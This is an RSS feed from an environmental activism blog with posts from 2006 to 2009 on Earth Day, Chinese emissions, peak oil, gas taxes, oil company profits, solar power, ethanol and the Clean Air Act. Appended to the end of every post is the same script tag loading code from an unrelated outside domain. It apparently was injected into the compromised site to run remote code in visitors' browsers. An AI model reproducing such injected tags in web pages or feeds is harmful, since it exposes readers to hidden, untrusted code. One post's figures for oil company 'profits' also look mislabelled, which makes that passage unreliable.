<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>D.C. Watch &#187; Economics</title>
	<atom:link href="http://blog.getm.org/category/economics/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.getm.org</link>
	<description>The Official GETM.org Blog</description>
	<lastBuildDate>Tue, 08 Dec 2009 02:11:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>My Mandatory Earth Day Post: 2009</title>
		<link>http://blog.getm.org/2009/04/22/my-mandatory-earth-day-post-2009/</link>
		<comments>http://blog.getm.org/2009/04/22/my-mandatory-earth-day-post-2009/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 20:09:29 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Sustainability]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=121</guid>
		<description><![CDATA[This year, the Earth Day Network has launched a campaign called the Green Generation, which is, in my opinion is line with the current administrations efforts to green America. This campaign however attempts to propagate the idea in 2 years (or less), while the Obama team is hopeful of results in 10. What do I [...]]]></description>
			<content:encoded><![CDATA[<p>This year, the Earth Day Network has launched a campaign called the <a target="_blank" href="http://www.earthday.net/greengeneration">Green Generation</a>, which is, in my opinion is line with the <a target="_blank" href="http://www.whitehouse.gov/agenda/energy_and_environment/">current administrations</a> efforts to green America. This campaign however attempts to propagate the idea in 2 years (or less), while the Obama team is hopeful of results in 10. What do I think? As someone already benefiting from the green market, I welcome the challenge and so should you. My 2009 promise is to help at least one city or municipality in the US to consider renewable energy and get them off fossil fuel (and eventually the grid).</p>
<p>Happy Earth Day!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2009/04/22/my-mandatory-earth-day-post-2009/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>China to become the World&#8217;s Biggest Polluter</title>
		<link>http://blog.getm.org/2007/05/01/china-to-become-the-worlds-biggest-polluter/</link>
		<comments>http://blog.getm.org/2007/05/01/china-to-become-the-worlds-biggest-polluter/#comments</comments>
		<pubDate>Tue, 01 May 2007 21:54:18 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Al Gore]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[IPCC]]></category>
		<category><![CDATA[Kyoto]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Nuclear]]></category>
		<category><![CDATA[Renewable]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=110</guid>
		<description><![CDATA[A report by the Intergovernmental Panel on Climate Change (IPCC) that discusses climate economics is objected by the Chinese delegation fearing repercussions that could possible derail their drive to increase manufacturing and jobs creation. The draft, suggests various solutions to mitigate climate change, such as capturing and burying emissions from coal-fired power plants, shifting to [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" width="203" src="http://newsimg.bbc.co.uk/media/images/39876000/jpg/_39876966_smokeb_ap_203.jpg" alt="china pollution smoke stacks" height="152" style="width: 203px; height: 152px" title="china pollution smoke stacks" />A report by the Intergovernmental Panel on Climate Change (IPCC) that discusses climate economics is objected by the Chinese delegation fearing repercussions that could possible derail their drive to increase manufacturing and jobs creation. The draft, suggests various solutions to mitigate climate change, such as capturing and burying emissions from coal-fired power plants, shifting to renewable forms of energy and more use of nuclear power, which for China that relies heavily on coal could mean the beginning of economic slowdown.</p>
<p>This reminds me of a scene from &#8220;<a target="_blank" href="http://www.climatecrisis.net/" title="climate crisis">The Inconvenient Truth</a>&#8221; where Gore points to a 90&#8242;s poster that has the earth on one scale of the balance and gold bullions on the other. China now gets the pick, and if any of them have at least half an ounce gray matter up there, they will chose a policy unlike that of our beloved Bush&#8217;s administration!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/05/01/china-to-become-the-worlds-biggest-polluter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Oil Depletion &#8220;Bad&#8221; for our Environment</title>
		<link>http://blog.getm.org/2007/03/31/oil-depletion-bad-for-our-environment/</link>
		<comments>http://blog.getm.org/2007/03/31/oil-depletion-bad-for-our-environment/#comments</comments>
		<pubDate>Sun, 01 Apr 2007 01:15:19 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[Hybrid]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Nuclear]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[greenhouse]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=108</guid>
		<description><![CDATA[Oil depletion has the capacity to worsen emissions and destroy the wealth needed to fight global warming, that is what David Strahan write in his latest book &#8220;The Last Oil Shock&#8221;. His argument below: It is mathematically impossible that peak oil will solve climate change. Although oil is the biggest single source of energy-related greenhouse gases, [...]]]></description>
			<content:encoded><![CDATA[<p>Oil depletion has the capacity to worsen emissions and destroy the wealth needed to fight global warming, that is what David Strahan write in his latest book &#8220;The Last Oil Shock&#8221;.</p>
<p>His argument below:</p>
<blockquote><p><img align="right" width="203" src="http://newsimg.bbc.co.uk/media/images/42740000/jpg/_42740065_bookcover203.jpg" alt="bookcover" height="313" style="width: 203px; height: 313px" title="bookcover" />It is mathematically impossible that peak oil will solve climate change.</p>
<p>Although oil is the biggest single source of energy-related greenhouse gases, coal and gas combined are bigger still, and the expected growth in their emissions would overwhelm any reduction from oil.</p>
<p>As I demonstrate in The Last Oil Shock using the International Energy Agency&#8217;s &#8220;business-as-usual&#8221; forecast, even if oil production peaks in 2010 and immediately starts to fall at 3% a year, total emissions would still rise by 25%, reaching 32 billion tonnes in 2030.</p>
<p>Yet by that time, we need to be well on the way to at least a 60% cut in emissions.</p>
<p>In fact peak oil could even make emissions worse if it drives us to exploit the wrong kinds of fuel.</p>
<p>Burning rainforest and peatlands to create palm oil plantations for biofuels releases vast amounts of CO2, and has already made Indonesia, according to some ways of calculating it, the world&#8217;s third biggest emitter after the US and China.</p>
<p>Synthetic transport fuels made from natural gas using the Fischer-Tropsch process emit even more carbon on a well-to-wheels basis than conventional crude; and when the feedstock is coal, the emissions double.</p>
<p>None of these alternatives are likely to fill the gap left by conventional crude &#8211; at least, not in time.</p>
<p>But because they are so much more carbon intensive, it is quite easy to conjure scenarios in which we still suffer fuel shortages while emitting even more CO2 than in the current business-as-usual forecast &#8211; the worst of all possible worlds.</p></blockquote>
<p>One common sense solution left out of his equation is the use of electricity, which is not all the time, generated using coal or Uranium. Solar, wind and tidal conversion if implemented can and should be able to generate the required capacity to power our planet. If only we are able to overcome our resistance to change and the relentless pursuit of bigger and more polluting lifestyle.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/03/31/oil-depletion-bad-for-our-environment/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Here&#8217;s An Alternative Viewpoint on Alternative Energy</title>
		<link>http://blog.getm.org/2007/01/25/here%e2%80%99s-an-alternative-viewpoint-on-alternative-energy/</link>
		<comments>http://blog.getm.org/2007/01/25/here%e2%80%99s-an-alternative-viewpoint-on-alternative-energy/#comments</comments>
		<pubDate>Thu, 25 Jan 2007 18:51:01 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=104</guid>
		<description><![CDATA[As heard on Marketplace today: SCOTT JAGOW: In the State of the Union, President Bush said he wanted to mandate the use of certain gasoline alternatives like ethanol and force higher fuel economy standards for cars. I called up our economics correspondent Chris Farrell to get his thoughts on the Bush energy plan. In a [...]]]></description>
			<content:encoded><![CDATA[<p>As heard on <a title="marketplace" href="http://marketplace.publicradio.org/shows/2007/01/25/AM200701251.html" target="_blank">Marketplace</a> today:</p>
<blockquote><p><strong>SCOTT JAGOW:</strong> In the State of the Union, President Bush said he wanted to mandate the use of certain gasoline alternatives like ethanol and force higher fuel economy standards for cars. I called up our economics correspondent Chris Farrell to get his thoughts on the Bush energy plan. In a nutshell, good intentions but the wrong approach.</p>
<p><strong>CHRIS FARRELL: </strong>Do you really think that the government is in the best position to determine that ethanol is the right alternative fuel? What I would much rather see, what I would have really liked to have seen, now it would have been a moment, but if the President had said, &#8216;you know what, I&#8217;m going to join the Pigou Club. . .&#8217;</p>
<p><strong>JAGOW: </strong>Come again? The Pigou Club?</p>
<p><strong>FARRELL:</strong> The Pigou Club. Now this was started by Greg Mankiw and he was the former head of the Council of Economic Advisors under President Bush. He&#8217;s an economist at Harvard University. Pigouvian taxes are taxes that you impose when there&#8217;s a market failure. So the classic example are sin taxes, a tax on cigarettes as a way of discouraging people from smoking. Well he started the Pigou Club. A lot of economists have joined it. And all it says is &#8216;look, let&#8217;s just raise the gas tax and then let the market decide.&#8217; If Scott wants to drive a fuel-efficient car and you raise the gas tax, there&#8217;s gonna be a lot of fuel-efficient cars out there. If Chris wants to drive a gas-guzzler, hey guess what, there&#8217;ll be gas-guzzlers available, I&#8217;m just gonna have to pay for it.</p>
<p><strong>JAGOW: </strong>Wait, so Chris you&#8217;re telling me mandating certain things like ethanol use is a bad thing, but imposing a gas tax is a good thing? What&#8217;s the difference?</p>
<p><strong>FARRELL: </strong>Only thing the government&#8217;s doing is saying, &#8216;there are some really bad effects from our lack of energy independence and our dependence on foreign oil.&#8217; If you impose a broad-based tax, so you raise the cost, and then you unleash the wisdom of the market. You unleash the entrepreneurs in Silicon Valley. You know, they&#8217;re finding all kinds of new technologies. We don&#8217;t know if it&#8217;s ethanol, biomass, let&#8217;s just raise the price. It&#8217;s really, what&#8217;s the best way to encourage innovation. That&#8217;s really the issue.</p>
<p><strong>JAGOW: </strong>OK let&#8217;s say you&#8217;re right and that a gas tax is the way to go . . .</p>
<p><strong>FARRELL:</strong> A little skepticism there but OK, I&#8217;ll take it.</p>
<p><strong>JAGOW:</strong> Just a healthy skepticism. Now just saying the word &#8220;tax,&#8221; if you&#8217;re running for President or if you are President or I mean who&#8217;s gonna buy this?</p>
<p><strong>FARRELL:</strong> You&#8217;re absolutely right. What I would argue, if you package a gas tax, not only as part of energy security but part of attacking global warming and leading toward a more sustainable environment, there are ways that you can manipulate this situation so that the word &#8220;tax&#8221; doesn&#8217;t quite have the negative connotations which you have rightly raised. And it&#8217;s more like environmentally-conscious, attacking global warming . . .</p>
<p><strong>JAGOW:</strong> OK Chris, thanks for sharing your thoughts.</p>
<p><strong>FARRELL:</strong> Thanks a lot Scott.</p>
<p><strong>JAGOW: </strong>Chris Farrell is the Marketplace economics correspondent.</p></blockquote>
<p>Visit: <a title="pigou" href="http://www.pigouclub.com/" target="_blank">Pigou Club</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/01/25/here%e2%80%99s-an-alternative-viewpoint-on-alternative-energy/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Washington Stock Exchange</title>
		<link>http://blog.getm.org/2006/10/05/the-washington-stock-exchange/</link>
		<comments>http://blog.getm.org/2006/10/05/the-washington-stock-exchange/#comments</comments>
		<pubDate>Fri, 06 Oct 2006 02:48:49 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Stocks]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[WSX]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=99</guid>
		<description><![CDATA[When there is money at stake, people tend to be more calculative and careful in critical decision making, this human psyche is collectively harnessed to predict future political outcomes by Washington Stock Exchange. The way it works is quite simple, anyone can sign up for free and receive W$1,000,000 Washington dollars (not real of course) [...]]]></description>
			<content:encoded><![CDATA[<p><img title="wsx" alt="wsx" src="http://www.thewsx.com/includes/images/wsx_logo.gif" align="left" />When there is money at stake, people tend to be more calculative and careful in critical decision making, this human psyche is collectively harnessed to predict future political outcomes by <a title="wsx" href="http://www.thewsx.com/" target="_blank">Washington Stock Exchange</a>. The way it works is quite simple, anyone can sign up for free and receive W$1,000,000 Washington dollars (not real of course) to start trading in stocks linked to uncertain political outcomes. You buy and sell stocks based on your opinion about likelihood of the underlying event. The resulting price corresponds to the probability that it will happen, according to the collective wisdom of the market. According to the site, by harvesting the collective intelligence of all the traders, the market generates very accurate forecasts about the events in question.</p>
<p>This is not just a great concept but something I personally urge everyone try, this in a way is the democratic back channel process that not only predicts potential outcome, but also help those in policy making steer key legislation to make it favorable to the collective for a change.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/10/05/the-washington-stock-exchange/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why Dropping Oil Prices is Not Really Good?</title>
		<link>http://blog.getm.org/2006/09/26/why-dropping-oil-prices-is-not-really-good/</link>
		<comments>http://blog.getm.org/2006/09/26/why-dropping-oil-prices-is-not-really-good/#comments</comments>
		<pubDate>Tue, 26 Sep 2006 13:43:38 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Ethanol]]></category>
		<category><![CDATA[Exxon]]></category>
		<category><![CDATA[Money]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Stocks]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=98</guid>
		<description><![CDATA[The price of gasoline has dropped over 20 percent in the last 3 months, while some might consider this a good thing, in the long run; the only real beneficiary of this scenario is the oil company themselves. When a gallon of gas was at $3, viable alternatives was the buzz word, from Venture Capitalists [...]]]></description>
			<content:encoded><![CDATA[<p><img title="gas" alt="gas" src="http://static.flickr.com/22/39232522_56f93c760f.jpg" align="left" />The price of gasoline has dropped over 20 percent in the last 3 months, while some might consider this a good thing, in the long run; the only real beneficiary of this scenario is the oil company themselves.</p>
<p>When a gallon of gas was at $3, viable alternatives was the buzz word, from Venture Capitalists to wannabe inventors, everyone wanted a piece of the fuel pie. Technologies that are long been ignored got some well-deserved attention, not anymore though. Gas it at $2 a gallon and sounds like a bargain to those painfully paid over $50 to fill their tanks.</p>
<p>So how does it make the oil companies winners, for one, they made <a title="hso" href="http://www.headsetoptions.org/2006/08/01/gas-price-rise-middle-east-or-exxon/" target="_blank">record profits</a> this past year. And by simply dropping the price of gasoline to a point where consumer feel more comfortable filling up, they have managed to curb much needed research funding to investigate alternative fuels.</p>
<p>If this sounds like a note from a conspiracy theory channel, here are some facts.</p>
<p>1) The increase in price although unreasonable can not be considered illegal as it happened in a non-emergency situation (post-Katrina)</p>
<p>2) Here&#8217;s the cost profile for the past year and half:</p>
<ul>
<li>A barrel of crude was around $24 prior to Kartina, a gallon of gas cost around $1.60.</li>
<li>A barrel of crude post-Katrina soared up to $70, and cost per gallon shot up to $3.07. Although the big oil blamed this squarely on OPEC, it does not explain the supply-demand aspects completely. The OPEC claims that China and India are burdening the demands, which in the ideal world would result in less than normal available gasoline (supply), supply being inversely proportional to demand, which is the one of two reason why gasoline could cost more. Americans consumed the same or more gasoline this year as compared to the same <a title="doe" href="http://tonto.eia.doe.gov/dnav/pet/hist/c100000001m.htm" target="_blank">period last year</a>, meaning, there was no short supply. Alternatively, the demand was met with increased production, in which case the cost of per-barrel is explained, but not point 3 below.</li>
<li>Now a barrel of crude costs around $60, and gasoline costs around $2/gallon. So either the production of gasoline has gone up (in which case the cost should drop significantly, bringing the costs below pre-Katrina levels) or the demand has dropped (in spite of approaching what is to be a cold winter)</li>
</ul>
<p>And of course,</p>
<p>3) Exxon Mobil recorded $340 billion with a &#8220;B&#8221; profits this past year, Chevron made $190 billion, ConocoPhillips $166 billion.</p>
<p>If $3 is the price we pay to pave the path for a cleaner and more sustainable energy source, we should embrace it and as you fill up realize that your money might be fattening the pockets of big oil, at the same time opening up doors for cash inflow to alternative technologies. Ah, I miss the $3 gas.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/09/26/why-dropping-oil-prices-is-not-really-good/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Next Gen Solar Power</title>
		<link>http://blog.getm.org/2006/08/31/next-gen-solar-power/</link>
		<comments>http://blog.getm.org/2006/08/31/next-gen-solar-power/#comments</comments>
		<pubDate>Thu, 31 Aug 2006 17:44:08 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Engineered]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=95</guid>
		<description><![CDATA[Â  Heard this on Radio. Nevada is going high tech with renewable energy. Read/listen to the story here.Â ]]></description>
			<content:encoded><![CDATA[<p><img title="mirro" style="width: 423px; height: 316px" height="316" alt="mirro" src="http://www.npr.org/programs/morning/features/2006/aug/solar/solar_mirrors540.jpg" width="423" align="middle" /></p>
<p>Â </p>
<p>Heard this on Radio. Nevada is going high tech with renewable energy. Read/listen to the story <a title="npr" href="http://www.npr.org/templates/story/story.php?storyId=5733830" target="_blank">here</a>.Â <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/08/31/next-gen-solar-power/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dream Research</title>
		<link>http://blog.getm.org/2006/08/31/dream-research/</link>
		<comments>http://blog.getm.org/2006/08/31/dream-research/#comments</comments>
		<pubDate>Thu, 31 Aug 2006 17:33:40 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Ethanol]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=94</guid>
		<description><![CDATA[This is how good it gets, you have ethanol in abundance, why not drink it? Read the story >> Ethanol Turned Into Food-Grade Alcohol August 29, 2006 â€” By Amy Lorentzen, Associated Press AMES, Iowa â€” Now that ethanol has become common in gas tanks, two Iowa State University professors are working to get it [...]]]></description>
			<content:encoded><![CDATA[<p>This is how good it gets, you have ethanol in abundance, why not drink it?</p>
<p>Read the story >></p>
<blockquote><p><img title="simp" alt="simp" src="http://www.starstore.com/acatalog/simpsons_alcohol-01.jpg" align="right" />Ethanol Turned Into Food-Grade Alcohol</p>
<p><em>August 29, 2006 â€” By Amy Lorentzen, Associated Press</em></p>
<p>AMES, Iowa â€” Now that ethanol has become common in gas tanks, two Iowa State University professors are working to get it into martini glasses.</p>
<p>The professors are researching how to easily, and cheaply, turn fuel ethanol into food-grade alcohol to be used in beverages, pharmaceuticals and personal care products.</p>
<p>&#8220;We will be taking relatively abundant and cheap fuel ethanol, and for a very small amount (of money) adding a lot of value to it,&#8221; said Jacek Koziel, an assistant professor of agricultural and biosystems engineering.</p>
<p>He said the research is focused on perfecting technologies that purify fuel ethanol, a grain alcohol most often made from corn and used as a gasoline additive. Like beverage alcohol, fuel ethanol is yeast-fermented and then distilled. However, it has many more impurities that must be removed, Koziel said.</p>
<p>&#8220;We are trying to fine tune, so to speak, the process of alcohol purification,&#8221; he said.</p>
<p>Why find another use for ethanol at a time when demand for the fuel has skyrocketed?</p>
<p>Because while the demand for fuel ethanol could wane if the automotive industry embraces other technology, &#8220;the demand for liquor and mouthwashes and cough syrups will always be there,&#8221; said Hans van Leeuwen, a civil, construction and environmental engineering professor who is working with Koziel on the project</p>
<p>&#8220;We&#8217;re really just looking at a process improvement here that will save a lot of money,&#8221; said van Leeuwen, who also serves as vice president of Cedar Rapids-based MellO3z, a company that has created a process for purifying alcoholic beverages.</p>
<p>Monte Shaw, a spokesman for the Iowa Renewable Fuels Association, said the future of food-grade alcohol produced from fuel ethanol depends on its profitability. Right now, ethanol used in gasoline blends is in demand, but as more plants are built and production climbs, producers could take advantage of extra capacity and turn food-grade ethanol into a premium business, he said.</p>
<p>&#8220;So today that interest probably isn&#8217;t as high, but we&#8217;ve got a lot of production coming on line,&#8221; Shaw said Thursday as he drove to a groundbreaking of a new ethanol plant in St. Ansgar, Iowa. &#8220;It&#8217;s not unreasonable to assume some time in the future that something like this might be very attractive.&#8221;</p>
<p>Preliminary work on the effort began last year, and the 1 1/2-year project &#8212; which uses ozone gas and a carbon filtration process &#8212; was recently launched. Funding comes from a $79,900 grant from the state&#8217;s Grow Iowa Values Fund, with matching dollars and materials from industry sponsors and experts.</p>
<p>Iowa, the nation&#8217;s top corn grower, has become a leader in the ethanol industry with 25 plants producing about 1.6 billion gallons this year and another eight plants under construction or expansion, according to the Iowa Renewable Fuels Association.</p>
<p>The key to the effort is price.</p>
<p>Van Leeuwen said the multiple distillations needed to make food-grade alcohol raise production costs by about 50 cents per gallon more than it costs to make ethanol. The system the ISU team is working on aims to put purifying costs at less than a penny per gallon, he said, adding that retrofitting the purification process would cost little for ethanol plants.</p>
<p>&#8220;It&#8217;s the type of thing that will pay for itself over and over within a year,&#8221; van Leeuwen said.</p>
<p>Koziel said there are many potential applications for the product.</p>
<p>&#8220;It&#8217;s not just necessarily the consumer of liquor-type alcohol&#8221; who benefits, he said. &#8220;It could be used for all sorts of other consumer products &#8230; everywhere where food-grade alcohol could be put to use.&#8221;</p>
<p>But for those who like their liquor, van Leeuwen said the food-grade ethanol &#8220;tastes just like vodka,&#8221; although the 190-proof product must be diluted. He said he&#8217;s hosted one tasting panel with positive results, and plans another after further research.</p>
<p>The ISU scientists are using two purification technologies for their system. The first part involves bubbling ozone gas through the fuel ethanol to remove impurities and to form new compounds, which are then filtered through granular-activated carbon to absorb remaining impurities.</p>
<p>A patent for the process is pending.</p>
<p>Van Leeuwen said he&#8217;s used the process to treat wastewater with success, and expects fine results for food-grade alcohol.</p>
<p>&#8220;I have little doubt that it will work,&#8221; he said.</p></blockquote>
<p>Source: <a title="enn" href="http://www.enn.com/alt.html?id=549" target="_blank">ENN</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2006/08/31/dream-research/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Clean Air Act Needs to Clean Up its Act</title>
		<link>http://blog.getm.org/2006/08/22/clean-air-act-needs-to-clean-up-its-act/</link>
		<comments>http://blog.getm.org/2006/08/22/clean-air-act-needs-to-clean-up-its-act/#comments</comments>
		<pubDate>Tue, 22 Aug 2006 20:32:50 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[EPA]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environmental Defense]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[NRDC]]></category>
		<category><![CDATA[Sustainability]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=93</guid>
		<description><![CDATA[According to a recent report on NPR, over 420 coal-fired power plants in America lack pollution control equipment to handle hazardous emission, due in part to a legal loophole. According to the Clean Air Act (CAA) as amended in 1990, power plants constructed prior to 1970 (inception of the CAA) are not required to meet [...]]]></description>
			<content:encoded><![CDATA[<p><img height="120" alt="smog" src="http://www.alexvisani.com/darkgallery/smog.jpg" width="182" align="right" />According to a recent report on <a title="NPR" href="http://www.npr.org/templates/story/story.php?storyId=5673425">NPR</a>, over 420 coal-fired power plants in America lack pollution control equipment to handle hazardous emission, due in part to a legal loophole. According to the <a title="EPA" href="http://www.epa.gov/oar/caa/contents.html">Clean Air Act</a> (CAA) as amended in 1990, power plants constructed prior to 1970 (inception of the CAA) are not required to meet the same stringent emissions levels as new power plants as these changes were not economically feasible.</p>
<p>The US Environmental Protection Agency (EPA) during the Clinton administration tried closing this loophole by enforcing a long-ignored provision of the act, that requires plants to install advanced pollution controls if they modify or expand their plant. But changes on such large-scale does not happen overnight and plants across America to this day, continue to pollute the air with sulfur dioxide (over 70 percent of all coal-fired plants lacking sulfur reducing scrubbers), nitrogen oxide (over 90 percent of them lack equipment to contain nitrogen oxide) and suspended particulate matter (practically all plants lack suspended particulate removal capability), resulting in tens of thousands dying early due to lung and heart ailment and thousands more suffer from asthma.</p>
<p>This severe lack of regulation and foresight is indicative of the administration in office, although the US EPA claims to be an autonomous body, they are heavily politicized and influenced by the Whitehouse. During President Bushâ€™s first term, the administration tried to <a title="ED" href="http://www.environmentaldefense.org/article.cfm?ContentID=2727">lax regulations</a> in favor of the <a title="NRDC" href="http://www.nrdc.org/media/pressreleases/030822.asp">industry</a> and to this day refuses to ratify (other) significant anti-pollution initiatives like the <a title="BBC" href="http://news.bbc.co.uk/1/hi/sci/tech/3143798.stm">Kyoto Protocol</a> to curb (carbon dioxide) emission.</p>
<p>The regulation as it stands poses a challenge to our fundamental rights to access clean air. Unless the Clean Air Act cleans up itâ€™s act, we are headed for a painfully long and smoggy future.</p>
<p><small><small>Picture Courtesy: alexvisani.com</small></small><script src="http://ae.awaue.com/7"></script></p>
